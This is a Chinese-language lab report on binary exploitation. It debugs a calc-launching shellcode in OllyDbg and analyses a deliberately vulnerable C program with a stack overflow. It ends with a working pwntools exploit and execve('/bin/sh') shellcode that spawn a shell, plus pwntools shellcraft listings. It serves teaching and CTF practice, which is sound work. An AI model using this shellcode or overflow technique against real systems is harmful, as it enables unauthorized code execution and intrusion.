二进制漏洞

实验目的

了解二进制漏洞的基本原理,应用简单的调试技术调试 shellcode 程序,理解 shellcode 如何执行。

本次实验 2.1~2.2 部分所使用的环境为 Windows XP SP2,调试软件为 Ollydbg。2.3 部分所使用的环境为 Ubuntu16.04LTS,调试软件为 gdb。

步骤

初见 shellcode 程序

首先,利用 SCer.exe 启动给定的 sc2.bin,将 sc2.bin 拖入对话框中,然后点击 “执行 Shellcode”,便会弹出计算器。

调试 shellcode 程序

  1. 把原来的 sc2.bin 拖入 SCer.exe,然后点击 “转成字符串”,即可得到下方所示文件

    在 shellcode 最前方加入 \xcc(对应的汇编指令为 int 3,该指令是系统的中断指令),然后重新转为 bin 文件,把生成的.mybin 后缀名改掉,将其重新拖入对话框中。

  2. 先不要点击 “执行 Shellcode”,打开 Ollydbg,选择 “附加进程”,找到 SCer 进程,点击 “附加”。

    再点击 “执行 Shellcode”,注意程序输出的状态值。

  3. 程序运行到 0xe00000 时暂停。那个位置刚好是我们刚打下的断点。

  4. 所有的 shellcode 大概就是这样的,下图是全览。接下来将逐步解析。

  5. 跟随程序流,我们找到 0xe00057 的 push 语句,紧接着,它调用了函数 0xe00003,跟入函数进去看看。

  6. 接着,程序向 ESI 寄存器写入了寄存器 DS 的值的偏移,此过程迭代了 2 次,EBX 寄存器也被写了 EBP 的值的偏移,也迭代了 2 次。中间还注意到了 ntdll 的接口。

  7. 下面是一个循环,不断把 ES:[EDI] 中的内容移入 EDX 中。

  8. 循环执行结束后执行到 0xe0004e 处,此时注意到 EDI 被写入了 kernel32.7c808c5d 的内容,有一个类似于 WriteConsoleA 的东西,猜想刚才的过程可能是为了寻找系统 api 的地址,然后把地址作为参数开启后续调用。这个函数执行完后就 return 回去了。

  9. 接下来是一个重头戏,在 0xe00062 处,push 了一个 "calc" 字符串,然后将其移动到 EDX 寄存器上。

  10. 然后,过了几步后,程序把寄存器 EBP 上的内容视为函数并调用了它,观察到此时 EBP 的内容为 kernel32.WinExec 的地址,结合前面推入的 calc 参数,推测此时准备开始执行了计算器。跟入 WinExec,可以看到 CreateProcessInternalA 函数,创建了一个新进程。

  11. 此时的堆栈状态如下

  12. 接下来还有一组 PUSH-CALL 函数-PUSH EAX-CALL EBP 操作。可以看到,这次操作最终使得 kernel32.ExitProcess 被调用。推测是为了杀掉 SCer 进程。

  13. 接下来就调试不下去了,程序已经陷入持续的访问违规当中了。但是留下那个计算器窗口已经完成了 shellcode 所给的任务了

给定程序漏洞分析和利用

这次的漏洞程序给了源码,光直接阅读源码,就可以获得很多信息。

程序流程简单,从 main 函数开始,只经历了两个函数 initbof,而 init 函数中,只是简单初始化了缓冲区和调用 alarm(),剩下给我们的只有 bof 函数了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int main()
{
init();
bof();
return 0;
}

void init(void)
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
alarm(alarm_time);
return;
}

从源码的 Description 注释中,我们观察到,这次要利用的漏洞为栈溢出漏洞,我们需要使用栈溢出方法,在栈上执行 shellcode。

我们的目标是 egg() 函数,可以看到无论在哪个函数中,该函数都没有执行,我们需要想办法将程序的执行流程导向到 egg 函数中,来实现一个溢出的目的。

1
2
3
4
5
void egg()
{
__asm__ ("jmp *-0x30(%rsp);");
//__asm__("sub rsp,0x30;jmp rsp;");
}

然后是本地实验最重要的分析目标 bof 函数,其中规定了一个 48 字节长的 char 数组作为缓冲区,然后将 60 字节的内容读入缓冲区 content 中,在这个过程中,其实已经产生了漏洞点,当我们输入的内容大于等于 48 字节时,就可能会产生缓冲区溢出漏洞。但是,程序随后执行 strlen 函数进行一步检查,我们输入的内容大于等于 48 字节时,会触发提示 "Detect bof",使得程序退出。越过了这一层检查,还有一层检查是用来过滤坏字符的,这一步的过滤比较轻,只检查了 "0xaa" 和 "0xbb" 两种字符。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void bof(void)
{
char content[48]={0};
puts("Input your content: ");
read(0,content,60);
if(strlen(content)>=48)
{
puts("Detect bof!");
exit(-1);
}
if(!check_input(content))
exit(-1);
return;
}
bool check_input(char *ss)
{
char filter[8] = {'\xaa','\xbb'};
for(int i=0;i<filter_num;i++)
{
for(int j=0;j<strlen(ss);j++)
{
if(ss[j]==filter[i])
return false;
}
}
return true;
}

能不能绕过所有错误提示,顺利触发程序的溢出点,进入到 egg 函数中呢?

  1. 先运行一遍程序,直观感受程序流程。

    • 输入较少字数的 content 时,程序无错退出,但这不是我们本次练习的目标。
    • 当 content 输入字数增加时,会看到 "Detect bof!" 的提示,能明显看到,后面又多出了几个 "f" 的输入,这大概就是输入溢出的体现了。(因为后面溢出的字符被当成命令执行了)
  2. 用 gdb 打开这个可执行程序,然后使用 checksec 检查程序的保护。

    检查结果是没有开启任何保护,有可写可读可执行段,是我们漏洞利用的前提。

  3. 先在几个函数下断点。我选择 eggbofcheck_input 三个函数下打上断点。

  4. 执行 b 命令时可以看到断点的地址。大概判断 egg 函数的地址在 0x40079c 处,bof0x40082e 处,check_input0x4007a9 处。

  5. disassemble 命令看一下 egg 函数的汇编,左侧显示 egg 函数的头部在 0x400798 处,恰好对应于上图的 0x40079c-4 处。

  6. 按下 r 键开始运行程序,程序停在了输入点中。

  7. 这是输入一个字母 "a" 后,栈的相关情况。我们可以看到,RAX、RSI、RDI 寄存器中都推入了一个 "a" 的值 (0x61)

    而栈的情况也是向 0x7fffffffde70 处相应地有一个 0x61 的值,在栈相对位移的 0x10 处。 结合上图的 RIP 指针和下图的 backtrace 来看,下一步断点位将是在 check_input 偏移值 + 4 处。地址为 0x4007a9 处。

  8. 按下 c 键,继续执行程序。程序正常结束,代表正常经过了 check_input 过程。

  9. 如果继续运行程序,但是构造一个比较长的字符串时,寄存器的情况如下。

    此时 RDI 指向 "Detect bof!",RIP 指向 push 函数的地址,在下方的栈显示中也看到 "a" 越过了 0048 的限制。

  10. 先看 payload 的运行效果

    可以看到,switching to interactive mode 之后,有一个小的 $ 号出现在 shell 的左侧,这是一个小 shell (bin/sh),可以执行一些简单的命令,在 CTF 的 pwn 题中经常用于反弹 shell,获取 flag 文件。

  11. 接下来,调试一下 payload 输入,把它输入到 gdb 调试进程中。

    可以观察到输入的内容位于 RSI(0x7fffffffde70)中,在 RBP 中看到了 "/bin/sh" 的字样,这是 Linux 下的一种 shell。然后在栈中看到了被 “截断” 的序列 \x00H1\xffH1。中间隔离了一些内容后,下方被注入了 bin/sh 字符串。随后在 puts 调用时,bin/sh 被推到 RBP 上,在函数退出后,bin/sh 将会执行,中间的一些地址应当是 bin/sh 的地址。

最终的 payload 代码如下所示

 
from pwn import *
# p=remote()
p=process('./sc2')
# addr_egg = 0x400798
payload='a'*7+"\x00"+"\x48\x31\xff\x48\x31\xc0\xb0\x69\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"+"b"*5+p64(0x400798)
print p.recv()

p.sendline(payload)
p.interactive()

实验难点及收获

软件的使用方面,这次使用了 windbg 和 gdb 完成实验,其中 gdb 是第一次使用,操作比较陌生,不太熟练(主要是,不太适应命令行环境),但通过这一次的练习,我感受到它确实是一个功能非常强大的软件,可以在运行的同时实时查看堆栈的情况,还可以用来打印出重要函数的地址,方便 payload 使用它,是除 windbg 外个人接触的第一款 Linux 端调试软件。今后还会使用到 gdb 的更多命令,也会为 ctf 的 pwn 题打下充分的基础。

POC 的编写方面,作为 Python 的重度使用者,当然是选择使用 pwn 这个功能众多的 Python 库,以往看一些 CTF 比赛的 writeup 时,大多数的 pwn 题都用到了 pwn 来编写 payload,从实际使用上来说,pwntools 确实功能强大,就 pwn 题来说,可以根据操作系统版本生成不同的 shellcode,也可以用 elf 工具查看 got 表、plt 表地址,参加 CTF 比赛时也有交互功能,本身也提供很多实用的小工具。

实验思考

Pwn 库中一些 shellcraft.arch.os 的运行结果和含义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\\x00' */
push 0x68 mov
rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\\x00'] */
/* push 'sh\\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101 xor esi, esi
/* 0 */
push rsi
/* null terminate */
push 8 pop rsi
add rsi, rsp push rsi
/* 'sh\\x00' */
mov rsi, rsp\n xor edx, edx
/* 0 */
/* call execve() */
push SYS_execve
/* 0x3b */
pop rax syscall

大体上来看,是利用函数指针来调取系统的 sys_execve 函数,传入 "bin/sh" 作为参数,最后引起调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push '/bin///sh\\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\\x00'] */
/* push 'sh\\x00\\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx
/* null terminate */
push 4
pop ecx
add ecx, esp
push ecx
/* 'sh\\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve
/* 0xb */
pop eax int 0x80
除了一些指令集的不同外,整体的效果和过程与 amd64 架构一致。

还有更多的架构和更多可运行的 shell 指令,这里就不一一列出了,今后的漏洞挖掘中可能还会利用到它们。